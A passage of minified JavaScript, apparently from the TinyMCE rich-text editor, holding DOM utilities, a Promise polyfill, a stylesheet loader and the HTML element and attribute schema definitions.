this.parent=r[t],e.apply(this,arguments)}:t!==s&&(c[s].prototype[t]=e)})),a.each(t.static,function(e,t){c[s][t]=e})}},walk:St,createNS:function(e,t){var n,r;for(t=t||window,e=e.split("."),n=0;n<e.length;n++)t[r=e[n]]||(t[r]={}),t=t[r];return t},resolve:function(e,t){var n,r;for(t=t||window,n=0,r=(e=e.split(".")).length;n<r&&(t=t[e[n]]);n++);return t},explode:function(e,t){return!e||Fe(e,"array")?e:le(e.split(t||","),Me)},_addCacheSuffix:function(e){var t=xt.cacheSuffix;return t&&(e+=(-1===e.indexOf("?")?"?":"&")+t),e}},Et={fromHtml:function(e,t){var n=(t||document).createElement("div");if(n.innerHTML=e,!n.hasChildNodes()||1<n.childNodes.length)throw console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return Ke(n.childNodes[0])},fromTag:function(e,t){var n=(t||document).createElement(e);return Ke(n)},fromText:function(e,t){var n=(t||document).createTextNode(e);return Ke(n)},fromDom:Ke,fromPoint:function(e,t,n){return ve.from(e.dom.elementFromPoint(t,n)).map(Ke)}};function kt(e){return e.dom.nodeName.toLowerCase()}function _t(e){return e.dom.nodeType}function At(t){return function(e){return _t(e)===t}}function Rt(e){return Et.fromDom(e.dom.ownerDocument)}function Dt(e){return Rn(e)?e:Rt(e)}function Tt(e){return Et.fromDom(Dt(e).dom.defaultView)}function Ot(e){return ve.from(e.dom.parentNode).map(Et.fromDom)}function Bt(e){return ve.from(e.dom.previousSibling).map(Et.fromDom)}function Pt(e){return ve.from(e.dom.nextSibling).map(Et.fromDom)}function Lt(e){return q(Ue(e,Bt))}function It(e){return Ue(e,Pt)}function Mt(e,t){var n=e.dom.childNodes;return ve.from(n[t]).map(Et.fromDom)}function Ft(e){return Mt(e,0)}function Ut(e){return Mt(e,e.dom.childNodes.length-1)}function zt(e){return e.dom.childNodes.length}function Ht(e){return Dn(e)&&V(e.dom.host)}function jt(t){return Ht(t)?t:function(){var e=Dt(t).dom.head;if(null==e)throw new Error("Head is not available yet");return Et.fromDom(e)}()}function Vt(e){return Et.fromDom(e.dom.host)}function qt(t,n){Ot(t).each(function(e){e.dom.insertBefore(n.dom,t.dom)})}function $t(e,t){Pt(e).fold(function(){Ot(e).each(function(e){Ln(e,t)})},function(e){qt(e,t)})}function Wt(t,n){Ft(t).fold(function(){Ln(t,n)},function(e){t.dom.insertBefore(n.dom,e.dom)})}function Kt(t,e){Y(e,function(e){Ln(t,e)})}function Xt(e){e.dom.textContent="",Y(Tn(e),function(e){In(e)})}function Yt(e){var t,n=Tn(e);0<n.length&&(t=e,Y(n,function(e){qt(t,e)})),In(e)}function Gt(e,t){return void 0!==e?e:void 0!==t?t:0}function Jt(e){var t=void 0!==e?e.dom:document,n=t.body.scrollLeft||t.documentElement.scrollLeft,r=t.body.scrollTop||t.documentElement.scrollTop;return Un(n,r)}function Qt(e,t,n){var r=(void 0!==n?n.dom:document).defaultView;r&&r.scrollTo(e,t)}function Zt(e,t){dt().browser.isSafari()&&y(e.dom.scrollIntoViewIfNeeded)?e.dom.scrollIntoViewIfNeeded(!1):e.dom.scrollIntoView(t)}function en(e,t,n,r){return{x:e,y:t,width:n,height:r,right:e+n,bottom:t+r}}function tn(e){var r=void 0===e?window:e,t=r.document,o=Jt(Et.fromDom(t)),n=void 0===r?window:r;return(dt().browser.isFirefox()?ve.none():ve.from(n.visualViewport)).fold(function(){var e=r.document.documentElement,t=e.clientWidth,n=e.clientHeight;return en(o.left,o.top,t,n)},function(e){return en(Math.max(e.pageLeft,o.left),Math.max(e.pageTop,o.top),e.width,e.height)})}function nn(t){return function(e){return!!e&&e.nodeType===t}}function rn(e){return e&&!Object.getPrototypeOf(e)}function on(e){var n=e.map(function(e){return e.toLowerCase()});return function(e){if(e&&e.nodeName){var t=e.nodeName.toLowerCase();return T(n,t)}return!1}}function an(r,e){var o=e.toLowerCase().split(" ");return function(e){if(Hn(e))for(var t=0;t<o.length;t++){var n=e.ownerDocument.defaultView.getComputedStyle(e,null);if((n?n.getPropertyValue(r):null)===o[t])return!0}return!1}}function un(t){return function(e){return Hn(e)&&e.hasAttribute(t)}}function sn(e){return Hn(e)&&e.hasAttribute("data-mce-bogus")}function cn(e){return Hn(e)&&"TABLE"===e.tagName}function ln(t){return function(e){if(Hn(e)){if(e.contentEditable===t)return!0;if(e.getAttribute("data-mce-contenteditable")===t)return!0}return!1}}function fn(e,t,n){return void 0===n&&(n=o),e.exists(function(e){return n(e,t)})}function dn(e,t,n){return e.isSome()&&t.isSome()?ve.some(n(e.getOrDie(),t.getOrDie())):ve.none()}function mn(e){return void 0!==e.style&&y(e.style.getPropertyValue)}function gn(e,t,n){if(!(X(n)||v(n)||N(n)))throw console.error("Invalid call to Attribute.set. Key ",t,":: Value ",n,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(t,n+"")}function pn(e,t,n){gn(e.dom,t,n)}function hn(e,t){var n=e.dom;ne(t,function(e,t){gn(n,t,e)})}function vn(e,t){var n=e.dom.getAttribute(t);return null===n?void 0:n}function bn(e,t){return ve.from(vn(e,t))}function yn(e,t){var n=e.dom;return n&&n.hasAttribute&&n.hasAttribute(t)}function Cn(e,t){e.dom.removeAttribute(t)}function xn(e,t){var n=e.dom;ne(t,function(e,t){!function(e,t,n){if(!X(n))throw console.error("Invalid call to CSS.set. Property ",t,":: Value ",n,":: Element ",e),new Error("CSS value must be a string: "+n);mn(e)&&e.style.setProperty(t,n)}(n,t,e)})}function wn(e,t){var n=e.dom,r=window.getComputedStyle(n).getPropertyValue(t);return""!==r||Mn(e)?r:Zn(n,t)}function Sn(e,t){var n=e.dom,r=Zn(n,t);return ve.from(r).filter(function(e){return 0<e.length})}function Nn(e){var t={},n=e.dom;if(mn(n))for(var r=0;r<n.style.length;r++){var o=n.style.item(r);t[o]=n.style[o]}return t}function En(e){return M(e,_n)}function kn(e,t){return e.children&&T(e.children,t)}"undefined"!=typeof window||Function("return this;")();var _n=At(1),An=At(3),Rn=At(9),Dn=At(11),Tn=function(e){return A(e.dom.childNodes,Et.fromDom)},On=y(Element.prototype.attachShadow)&&y(Node.prototype.getRootNode),Bn=J(On),Pn=On?function(e){return Et.fromDom(e.dom.getRootNode())}:Dt,Ln=function(e,t){e.dom.appendChild(t.dom)},In=function(e){var t=e.dom;null!==t.parentNode&&t.parentNode.removeChild(t)},Mn=function(e){var t=An(e)?e.dom.parentNode:e.dom;if(null==t||null===t.ownerDocument)return!1;var n=t.ownerDocument,r=Et.fromDom(t),o=Pn(r);return(Ht(o)?ve.some(o):ve.none()).fold(function(){return n.body.contains(t)},a(Mn,Vt))},Fn=function(n,r){return{left:n,top:r,translate:function(e,t){return Fn(n+e,r+t)}}},Un=Fn,zn=function(e){var t,n=e.dom,r=n.ownerDocument.body;return r===n?Un(r.offsetLeft,r.offsetTop):Mn(e)?(t=n.getBoundingClientRect(),Un(t.left,t.top)):Un(0,0)},Hn=nn(1),jn=on(["textarea","input"]),Vn=nn(3),qn=nn(8),$n=nn(9),Wn=nn(11),Kn=on(["br"]),Xn=on(["img"]),Yn=ln("true"),Gn=ln("false"),Jn=on(["td","th"]),Qn=on(["video","audio","object","embed"]),Zn=function(e,t){return mn(e)?e.style.getPropertyValue(t):""},er=dt().browser,tr={},nr={exports:tr};function rr(e){setTimeout(function(){throw e},0)}!function(){var e=this,t=function(){var e,t,n,r={exports:{}};function o(){}function i(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],f(e,this)}function a(n,r){for(;3===n._state;)n=n._value;0!==n._state?(n._handled=!0,i._immediateFn(function(){var e,t=1===n._state?r.onFulfilled:r.onRejected;if(null!==t){try{e=t(n._value)}catch(e){return void s(r.promise,e)}u(r.promise,e)}else(1===n._state?u:s)(r.promise,n._value)})):n._deferreds.push(r)}function u(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if(e instanceof i)return t._state=3,t._value=e,void c(t);if("function"==typeof n)return void f((r=n,o=e,function(){r.apply(o,arguments)}),t)}t._state=1,t._value=e,c(t)}catch(e){s(t,e)}var r,o}function s(e,t){e._state=2,e._value=t,c(e)}function c(e){2===e._state&&0===e._deferreds.length&&i._immediateFn(function(){e._handled||i._unhandledRejectionFn(e._value)});for(var t=0,n=e._deferreds.length;t<n;t++)a(e,e._deferreds[t]);e._deferreds=null}function l(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}function f(e,t){var n=!1;try{e(function(e){n||(n=!0,u(t,e))},function(e){n||(n=!0,s(t,e))})}catch(e){if(n)return;n=!0,s(t,e)}}e=r,t="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},n=setTimeout,i.prototype.catch=function(e){return this.then(null,e)},i.prototype.then=function(e,t){var n=new this.constructor(o);return a(this,new l(e,t,n)),n},i.all=function(e){var u=Array.prototype.slice.call(e);return new i(function(o,i){if(0===u.length)return o([]);for(var a=u.length,e=0;e<u.length;e++)!function t(n,e){try{if(e&&("object"==typeof e||"function"==typeof e)){var r=e.then;if("function"==typeof r)return r.call(e,function(e){t(n,e)},i),0}u[n]=e,0==--a&&o(u)}catch(e){i(e)}}(e,u[e])})},i.resolve=function(t){return t&&"object"==typeof t&&t.constructor===i?t:new i(function(e){e(t)})},i.reject=function(n){return new i(function(e,t){t(n)})},i.race=function(o){return new i(function(e,t){for(var n=0,r=o.length;n<r;n++)o[n].then(e,t)})},i._immediateFn="function"==typeof setImmediate?function(e){setImmediate(e)}:function(e){n(e,0)},i._unhandledRejectionFn=function(e){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",e)},i._setImmediateFn=function(e){i._immediateFn=e},i._setUnhandledRejectionFn=function(e){i._unhandledRejectionFn=e},e.exports?e.exports=i:t.Promise||(t.Promise=i);var d=r.exports;return{boltExport:("undefined"!=typeof window?window:Function("return this;")()).Promise||d}};"object"==typeof tr&&void 0!==nr?nr.exports=t():(e="undefined"!=typeof globalThis?globalThis:e||self).EphoxContactWrapper=t()}();function or(e){return cr(function(){return new ar(e)})}function ir(a){if(!S(a))throw new Error("cases must be an array");if(0===a.length)throw new Error("there must be at least one case");var u=[],n={};return Y(a,function(e,r){var t=we(e);if(1!==t.length)throw new Error("one and only one name per case");var o=t[0],i=e[o];if(void 0!==n[o])throw new Error("duplicate key detected:"+o);if("cata"===o)throw new Error("cannot have a case named cata (sorry)");if(!S(i))throw new Error("case arguments must be an array");u.push(o),n[o]=function(){for(var n=[],e=0;e<arguments.length;e++)n[e]=arguments[e];var t=n.length;if(t!==i.length)throw new Error("Wrong number of arguments to case "+o+". Expected "+i.length+" ("+i+"), got "+t);return{fold:function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];if(e.length!==a.length)throw new Error("Wrong number of arguments to fold. Expected "+a.length+", got "+e.length);return e[r].apply(null,n)},match:function(e){var t=we(e);if(u.length!==t.length)throw new Error("Wrong number of arguments to match. Expected: "+u.join(",")+"\nActual: "+t.join(","));if(!j(u,function(e){return T(t,e)}))throw new Error("Not all branches were specified when using match. Specified: "+t.join(", ")+"\nRequired: "+u.join(", "));return e[o].apply(null,n)},log:function(e){console.log(e,{constructors:u,constructor:o,params:n})}}}}),n}var ar=nr.exports.boltExport,ur=function(e){function r(e){o()?i(e):t.push(e)}var n=ve.none(),t=[],o=function(){return n.isSome()},i=function(t){n.each(function(e){setTimeout(function(){t(e)},0)})};return e(function(e){o()||(n=ve.some(e),Y(t,i),t=[])}),{get:r,map:function(n){return ur(function(t){r(function(e){t(n(e))})})},isReady:o}},sr={nu:ur,pure:function(t){return ur(function(e){e(t)})}},cr=function(n){function e(e){n().then(e,rr)}return{map:function(e){return cr(function(){return n().then(e)})},bind:function(t){return cr(function(){return n().then(function(e){return t(e).toPromise()})})},anonBind:function(e){return cr(function(){return n().then(function(){return e.toPromise()})})},toLazy:function(){return sr.nu(e)},toCached:function(){var e=null;return cr(function(){return e=null===e?n():e})},toPromise:n,get:e}},lr=function(n){return{isValue:w,isError:D,getOr:J(n),getOrThunk:J(n),getOrDie:J(n),or:function(e){return lr(n)},orThunk:function(e){return lr(n)},fold:function(e,t){return t(n)},map:function(e){return lr(e(n))},mapError:function(e){return lr(n)},each:function(e){e(n)},bind:function(e){return e(n)},exists:function(e){return e(n)},forall:function(e){return e(n)},toOptional:function(){return ve.some(n)}}},fr=function(n){return{isValue:D,isError:w,getOr:u,getOrThunk:function(e){return e()},getOrDie:function(){return e=String(n),function(){throw new Error(e)}();var e},or:u,orThunk:function(e){return e()},fold:function(e,t){return e(n)},map:function(e){return fr(n)},mapError:function(e){return fr(e(n))},each:te,bind:function(e){return fr(n)},exists:D,forall:w,toOptional:ve.none}},dr={value:lr,error:fr,fromOption:function(e,t){return e.fold(function(){return fr(t)},lr)}};function mr(e){return e.fold(u,u)}function gr(e,t,n,r,o){return e(n,r)?ve.some(n):y(o)&&o(n)?ve.none():t(n,r,o)}function pr(e,t,n){for(var r=e.dom,o=y(n)?n:D;r.parentNode;){var r=r.parentNode,i=Et.fromDom(r);if(t(i))return ve.some(i);if(o(i))break}return ve.none()}function hr(e,t,n){return gr(function(e,t){return t(e)},pr,e,t,n)}function vr(e,t,n){return pr(e,function(e){return ze(e,t)},n)}function br(e,t){return n=t,He(r=void 0===e?document:e.dom)?ve.none():ve.from(r.querySelector(n)).map(Et.fromDom);var n,r}function yr(e,t,n){return gr(ze,vr,e,t,n)}function Cr(e,t){return"number"!=typeof t&&(t=0),setTimeout(e,t)}function xr(e,t){return"number"!=typeof t&&(t=1),setInterval(e,t)}function wr(n,r){function e(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];clearTimeout(o),o=Cr(function(){n.apply(this,e)},r)}var o;return e.stop=function(){clearTimeout(o)},e}function Sr(m,g){function n(e,t,n){var r,o=Nt._addCacheSuffix(e),i=ue(h,o).getOrThunk(function(){return{id:"mce-u"+p++,passed:[],failed:[],count:0}});function a(e,t){for(var n=e.length;n--;)e[n]();i.status=t,i.passed=[],i.failed=[],r&&(r.onload=null,r.onerror=null,r=null)}function u(){return a(i.passed,2),0}function s(){return a(i.failed,3)}(h[o]=i).count++;var c,l,f,d=function(){var e=d;!function(){for(var e=m.styleSheets,t=e.length;t--;){var n=e[t].ownerNode;if(n&&n.id===r.id)return u(),1}}()&&(Date.now()-l<y?Ar.setTimeout(e):s())};t&&i.passed.push(t),n&&i.failed.push(n),1!==i.status&&(2!==i.status?3!==i.status?(i.status=1,hn(c=Et.fromTag("link",b.dom),{rel:"stylesheet",type:"text/css",id:i.id}),l=Date.now(),g.contentCssCors&&pn(c,"crossOrigin","anonymous"),g.referrerPolicy&&pn(c,"referrerpolicy",g.referrerPolicy),(r=c.dom).onload=d,r.onerror=s,f=c,Ln(jt(v),f),pn(c,"href",o)):s():u())}function o(t){return or(function(e){n(t,i(e,J(dr.value(t))),i(e,J(dr.error(t))))})}function t(e){var n=Nt._addCacheSuffix(e);ue(h,n).each(function(e){var t;0==--e.count&&(delete h[n],t=e.id,br(jt(v),"#"+t).each(In))})}void 0===g&&(g={});var p=0,h={},v=Et.fromDom(m),b=Dt(v),y=g.maxLoadTime||5e3;return{load:n,loadAll:function(e,n,r){var a,t=A(e,o);a=t,or(function(r){var o=[],i=0;0===a.length?r([]):Y(a,function(e,t){var n;e.get((n=t,function(e){o[n]=e,++i>=a.length&&r(o)}))})}).get(function(e){var t=B(e,function(e){return e.isValue()});0<t.fail.length?r(t.fail.map(mr)):n(t.pass.map(mr))})},unload:t,unloadAll:function(e){Y(e,function(e){t(e)})},_setReferrerPolicy:function(e){g.referrerPolicy=e}}}ir([{bothErrors:["error1","error2"]},{firstError:["error1","value2"]},{secondError:["value1","error2"]},{bothValues:["value1","value2"]}]);var Nr,Er,kr=function(e,t){return M(e.dom.childNodes,function(e){return t(Et.fromDom(e))}).map(Et.fromDom)},_r=window.Promise||ar,Ar={requestAnimationFrame:function(e,t){Nr?Nr.then(e):Nr=new _r(function(e){(function(e,t){for(var n=window.requestAnimationFrame,r=["ms","moz","webkit"],o=0;o<r.length&&!n;o++)n=window[r[o]+"RequestAnimationFrame"];(n=n||function(e){window.setTimeout(e,0)})(e,t)})(e,t=t||document.body)}).then(e)},setTimeout:Cr,setInterval:xr,setEditorTimeout:function(e,t,n){return Cr(function(){e.removed||t()},n)},setEditorInterval:function(e,t,n){var r=xr(function(){e.removed?clearInterval(r):t()},n);return r},debounce:wr,throttle:wr,clearInterval:function(e){return clearInterval(e)},clearTimeout:function(e){return clearTimeout(e)}},Rr=(Er=new WeakMap,{forElement:function(e,t){var n=Pn(e).dom;return ve.from(Er.get(n)).getOrThunk(function(){var e=Sr(n,t);return Er.set(n,e),e})}}),Dr=(Tr.prototype.current=function(){return this.node},Tr.prototype.next=function(e){return this.node=this.findSibling(this.node,"firstChild","nextSibling",e),this.node},Tr.prototype.prev=function(e){return this.node=this.findSibling(this.node,"lastChild","previousSibling",e),this.node},Tr.prototype.prev2=function(e){return this.node=this.findPreviousNode(this.node,"lastChild","previousSibling",e),this.node},Tr.prototype.findSibling=function(e,t,n,r){var o,i;if(e){if(!r&&e[t])return e[t];if(e!==this.rootNode){if(o=e[n])return o;for(i=e.parentNode;i&&i!==this.rootNode;i=i.parentNode)if(o=i[n])return o}}},Tr.prototype.findPreviousNode=function(e,t,n,r){var o,i,a;if(e&&(o=e[n],!this.rootNode||o!==this.rootNode)){if(o){if(!r)for(a=o[t];a;a=a[t])if(!a[t])return a;return o}return(i=e.parentNode)&&i!==this.rootNode?i:void 0}},Tr);function Tr(e,t){this.node=e,this.rootNode=t,this.current=this.current.bind(this),this.next=this.next.bind(this),this.prev=this.prev.bind(this),this.prev2=this.prev2.bind(this)}function Or(t){var n;return function(e){return n=n||function(e,t){for(var n={},r=0,o=e.length;r<o;r++){var i=e[r];n[String(i)]=t(i,r)}return n}(t,w),Ee(n,kt(e))}}function Br(e){return _n(e)&&!go(e)}function Pr(e){return _n(e)&&"br"===kt(e)}function Lr(e){return _o(e)&&(e=e.parentNode),ko(e)&&e.hasAttribute("data-mce-caret")}function Ir(e){return _o(e)&&No(e.data)}function Mr(e){return Lr(e)||Ir(e)}function Fr(e){return e.firstChild!==e.lastChild||!Kn(e.firstChild)}function Ur(e){var t=e.container();return!!Vn(t)&&(t.data.charAt(e.offset())===So||e.isAtStart()&&Ir(t.previousSibling))}function zr(e){var t=e.container();return!!Vn(t)&&(t.data.charAt(e.offset()-1)===So||e.isAtEnd()&&Ir(t.nextSibling))}function Hr(e){return e&&e.hasAttribute("data-mce-caret")?(sn(n=(t=e.getElementsByTagName("br"))[t.length-1])&&n.parentNode.removeChild(n),e.removeAttribute("data-mce-caret"),e.removeAttribute("data-mce-bogus"),e.removeAttribute("style"),e.removeAttribute("_moz_abspos"),e):null;var t,n}function jr(e){return Lr(e.startContainer)}function Vr(e){return!Mo(e)&&(Bo(e)?!Po(e.parentNode):Lo(e)||Oo(e)||Io(e)||Fo(e))}function qr(e,t){return Vr(e)&&function(e,t){for(e=e.parentNode;e&&e!==t;e=e.parentNode){if(Fo(e))return!1;if(Do(e))return!0}return!0}(e,t)}function $r(e){return Uo.test(e)}function Wr(e,t){return Vr(e)&&!1===(a=t,Vn(i=e)&&$r(i.data)&&!1===(n=i,r=Et.fromDom(a),vr(Et.fromDom(n),"pre,code",R(je,r)).isSome()))||Hn(o=e)&&"A"===o.nodeName&&!o.hasAttribute("href")&&(o.hasAttribute("name")||o.hasAttribute("id"))||zo(e);var n,r,o,i,a}function Kr(e,t){return function(e,t){var n=0;if(Wr(e,e))return!1;var r=e.firstChild;if(!r)return!0;var o=new Dr(r,e);do{if(t){if(jo(r)){r=o.next(!0);continue}if(Ho(r)){r=o.next();continue}}if(Kn(r))n++,r=o.next();else{if(Wr(r,e))return!1;r=o.next()}}while(r);return n<=1}(e.dom,t=void 0===t||t)}function Xr(e,t){return V(e)&&(Wr(e,t)||Br(Et.fromDom(e)))}function Yr(e){return"span"===e.nodeName.toLowerCase()&&"bookmark"===e.getAttribute("data-mce-type")}function Gr(e,t){var n,r,o,i={};if(e){for(e=e.split(","),t=t||10,n=0;n<e.length;n+=2)r=String.fromCharCode(parseInt(e[n],t)),Go[r]||(o="&"+e[n+1]+";",i[r]=o,i[o]=r);return i}}function Jr(e,t){return e.replace(t?$o:Wo,function(e){return Go[e]||e})}function Qr(e,t){return e.replace(t?$o:Wo,function(e){return 1<e.length?"&#"+(1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320)+65536)+";":Go[e]||"&#"+e.charCodeAt(0)+";"})}function Zr(e,t,n){return n=n||Qo,e.replace(t?$o:Wo,function(e){return Go[e]||n[e]||e})}function eo(e,t){return(e=Nt.trim(e))?e.split(t||" "):[]}function to(e,t){var n=ni(e," ",ni(e.toUpperCase()," "));return oi(n,t)}function no(e){return to("td th li dt dd figcaption caption details summary",e.getTextBlockElements())}function ro(e,n){var r;return e&&(r={},ri(e="string"==typeof e?{"*":e}:e,function(e,t){r[t]=r[t.toUpperCase()]=("map"===n?ni:ii)(e,/[, ]/)})),r}function oo(i){function e(e,t,n){var r=i[e];return r?r=ni(r,/[, ]/,ni(r.toUpperCase(),/[, ]/)):(r=ei[e])||(r=to(t,n),ei[e]=r),r}var t,s,n,r,o,a,u,c,S={},l={},N=[],f={},d={},m=(t=(i=i||{}).schema,c={},ei[t]||(s="id accesskey class dir lang style tabindex title role",n="address blockquote div dl fieldset form h1 h2 h3 h4 h5 h6 hr menu ol p pre table ul",r="a abbr b bdo br button cite code del dfn em embed i iframe img input ins kbd label map noscript object q s samp script select small span strong sub sup textarea u var #text #comment","html4"!==t&&(s+=" contenteditable contextmenu draggable dropzone hidden spellcheck translate",n+=" article aside details dialog figure main header footer hgroup section nav",r+=" audio canvas command datalist mark meter output picture progress time wbr video ruby bdi keygen"),"html5-strict"!==t&&(s+=" xml:lang",r=[r,u="acronym applet basefont big font strike tt"].join(" "),ri(eo(u),function(e){g(e,"",r)}),n=[n,a="center dir isindex noframes"].join(" "),o=[n,r].join(" "),ri(eo(a),function(e){g(e,"",o)})),o=o||[n,r].join(" "),g("html","manifest","head body"),g("head","","base command link meta noscript script style title"),g("title hr noscript br"),g("base","href target"),g("link","href rel media hreflang type sizes hreflang"),g("meta","name http-equiv content charset"),g("style","media type scoped"),g("script","src async defer type charset"),g("body","onafterprint onbeforeprint onbeforeunload onblur onerror onfocus onhashchange onload onmessage onoffline ononline onpagehide onpageshow onpopstate onresize onscroll onstorage onunload",o),g("address dt dd div caption","",o),g("h1 h2 h3 h4 h5 h6 pre p abbr code var samp kbd sub sup i b u bdo span legend em strong small s cite dfn","",r),g("blockquote","cite",o),g("ol","reversed start type","li"),g("ul","","li"),g("li","value",o),g("dl","","dt dd"),g("a","href target rel media hreflang type",r),g("q","cite",r),g("ins del","cite datetime",o),g("img","src sizes srcset alt usemap ismap width height"),g("iframe","src name width height",o),g("embed","src type width height"),g("object","data type typemustmatch name usemap form width height",[o,"param"].join(" ")),g("param","name value"),g("map","name",[o,"area"].join(" ")),g("area","alt coords shape href target rel media hreflang type"),g("table","border","caption colgroup thead tfoot tbody tr"+("html4"===t?" col":"")),g("colgroup","span","col"),g("col","span"),g("tbody thead tfoot","","tr"),g("tr","","td th"),g("td","colspan rowspan headers",o),g("th","colspan rowspan headers scope abbr",o),g("form","accept-charset action autocomplete enctype method name novalidate target",o),g("fieldset","disabled form name",[o,"legend"].join(" ")),g("label","form for",r),g("input","accept alt autocomplete checked dirname disabled form formaction formenctype formmethod formnovalidate formtarget height list max maxlength min multiple name pattern readonly required size src step type value width"),g("button","disabled form formaction formenctype formmethod formnovalidate formtarget name type value","html4"===t?o:r),g("select","disabled form multiple name required size","option optgroup"),g("optgroup","disabled label","option"),g("option","disabled label selected value"),g("textarea","cols dirname disabled form maxlength name readonly required rows wrap"),g("menu","type label",[o,"li"].join(" ")),g("noscript","",o),"html4"!==t&&(g("wbr"),g("ruby","",[r,"rt rp"].join(" ")),g("figcaption","",o),g("mark rt rp summary bdi","",r),g("canvas","width height",o),g("video","src crossorigin poster preload autoplay mediagroup loop muted controls width height buffered",[o,"track source"].join(" ")),g("audio","src crossorigin preload autoplay mediagroup loop muted controls buffered volume",[o,"track source"].join(" ")),g("picture","","img source"),g("source","src srcset type media sizes"),g("track","kind src srclang label default"),g("datalist","",[r,"option"].join(" ")),g("article section nav aside main header footer","",o),g("hgroup","","h1 h2 h3 h4 h5 h6"),g("figure","",[o,"figcaption"].join(" ")),g("time","datetime",r),g("dialog","open",o),g("command","type label icon disabled checked radiogroup command"),g("output","for form name",r),g("progress","value max",r),g("meter","value min max low high optimum",r),g("details","open",[o,"summary"].join(" ")),g("keygen","autofocus challenge disabled form keytype name")),"html5-strict"!==t&&(p("script","language xml:space"),p("style","xml:space"),p("object","declare classid code codebase codetype archive standby align border hspace vspace"),p("embed","align name hspace vspace"),p("param","valuetype type"),p("a","charset name rev shape coords"),p("br","clear"),p("applet","codebase archive code object alt name width height align hspace vspace"),p("img","name longdesc align border hspace vspace"),p("iframe","longdesc frameborder marginwidth marginheight scrolling align"),p("font basefont","size color face"),p("input","usemap align"),p("select"),p("textarea"),p("h1 h2 h3 h4 h5 h6 div p legend caption","align"),p("ul","type compact"),p("li","type"),p("ol dl menu dir","compact"),p("pre","width xml:space"),p("hr","align noshade size width"),p("isindex","prompt"),p("table","summary width frame rules cellspacing cellpadding align bgcolor"),p("col","width align char charoff valign"),p("colgroup","width align char charoff valign"),p("thead","align char charoff valign"),p("tr","align char charoff valign bgcolor"),p("th","axis align char charoff valign nowrap bgcolor width height"),p("form","accept"),p("td","abbr axis scope align char charoff valign nowrap bgcolor width height"),p("tfoot","align char charoff valign"),p("tbody","align char charoff valign"),p("area","nohref"),p("body","background bgcolor text link vlink alink")),"html4"!==t&&(p("input button select textarea","autofocus"),p("input textarea","placeholder"),p("a","download"),p("link script img","crossorigin"),p("img","loading"),p("iframe","sandbox seamless allowfullscreen loading")),ri(eo("a form meter progress dfn"),function(e){c[e]&&delete c[e].children[e]}),delete c.caption.children.table,delete c.script,ei[t]=c));function g(e,t,n){function r(e,t){for(var n={},r=0,o=e.length;r<o;r++)n[e[r]]=t||{};return n}var o,i;t=t||"","string"==typeof(n=n||[])&&(n=eo(n));for(var a=eo(e),u=a.length;u--;)i={attributes:r(o=eo([s,t].join(" "))),attributesOrder:o,children:r(n,ti)},c[a[u]]=i}function p(e,t){for(var n,r,o,i=eo(e),a=i.length,u=eo(t);a--;)for(n=c[i[a]],r=0,o=u.length;r<o;r++)n.attributes[u[r]]={},n.attributesOrder.push(u[r])}!1===i.verify_html&&(i.valid_elements="*[*]");var h=ro(i.valid_styles),v=ro(i.invalid_styles,"map"),b=ro(i.valid_classes,"map"),y=e("whitespace_elements","pre script noscript style textarea video audio iframe object code"),C=e("self_closing_elements","colgroup dd dt li option p td tfoot th thead tr"),x=e("short_ended_elements","area base basefont br col frame hr img input isindex link meta param embed source wbr track"),w=e("boolean_attributes","checked compact declare defer disabled ismap multiple nohref noresize noshade nowrap readonly selected autoplay loop controls"),E="td th iframe video audio object script code",k=e("non_empty_elements",E+" pre",x),_=e("move_caret_before_on_enter_elements",E+" table",x),A=e("text_block_elements","h1 h2 h3 h4 h5 h6 p div address pre form blockquote center dir fieldset header footer article section hgroup aside main nav figure"),R=e("block_elements","hr table tbody thead tfoot th tr td li ol ul caption dl dt dd noscript menu isindex option datalist select optgroup figcaption details summary",A),D=e("text_inline_elements","span strong b em i font s strike u var cite dfn code mark q sup sub samp");function T(e){return new RegExp("^"+e.replace(/([?+*])/g,".$1")+"$")}function O(e){var t,n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,b,y=/^([#+\-])?([^\[!\/]+)(?:\/([^\[!]+))?(?:(!?)\[([^\]]+)])?$/,C=/^([!\-])?(\w+[\\:]:\w+|[^=:<]+)?(?:([=:<])(.*))?$/,x=/[*?+]/;if(e){var w=eo(e,",");for(S["@"]&&(h=S["@"].attributes,v=S["@"].attributesOrder),t=0,n=w.length;t<n;t++)if(i=y.exec(w[t])){if(g=i[1],c=i[2],p=i[3],s=i[5],a={attributes:d={},attributesOrder:m=[]},"#"===g&&(a.paddEmpty=!0),"-"===g&&(a.removeEmpty=!0),"!"===i[4]&&(a.removeEmptyAttrs=!0),h&&(ne(h,function(e,t){d[t]=e}),m.push.apply(m,v)),s)for(r=0,o=(s=eo(s,"|")).length;r<o;r++)(i=C.exec(s[r]))&&(u={},f=i[1],l=i[2].replace(/[\\:]:/g,":"),g=i[3],b=i[4],"!"===f&&(a.attributesRequired=a.attributesRequired||[],a.attributesRequired.push(l),u.required=!0),"-"!==f?(g&&("="===g&&(a.attributesDefault=a.attributesDefault||[],a.attributesDefault.push({name:l,value:b}),u.defaultValue=b),":"===g&&(a.attributesForced=a.attributesForced||[],a.attributesForced.push({name:l,value:b}),u.forcedValue=b),"<"===g&&(u.validValues=ni(b,"?"))),x.test(l)?(a.attributePatterns=a.attributePatterns||[],u.pattern=T(l),a.attributePatterns.push(u)):(d[l]||m.push(l),d[l]=u)):(delete d[l],m.splice(ai(m,l),1)));h||"@"!==c||(h=d,v=m),p&&(a.outputName=c,S[p]=a),x.test(c)?(a.pattern=T(c),N.push(a)):S[c]=a}}}function B(e){S={},N=[],O(e),ri(m,function(e,t){l[t]=e.children})}function P(e){var a=/^(~)?(.+)$/;e&&(ei.text_block_elements=ei.block_elements=null,ri(eo(e,","),function(e){var 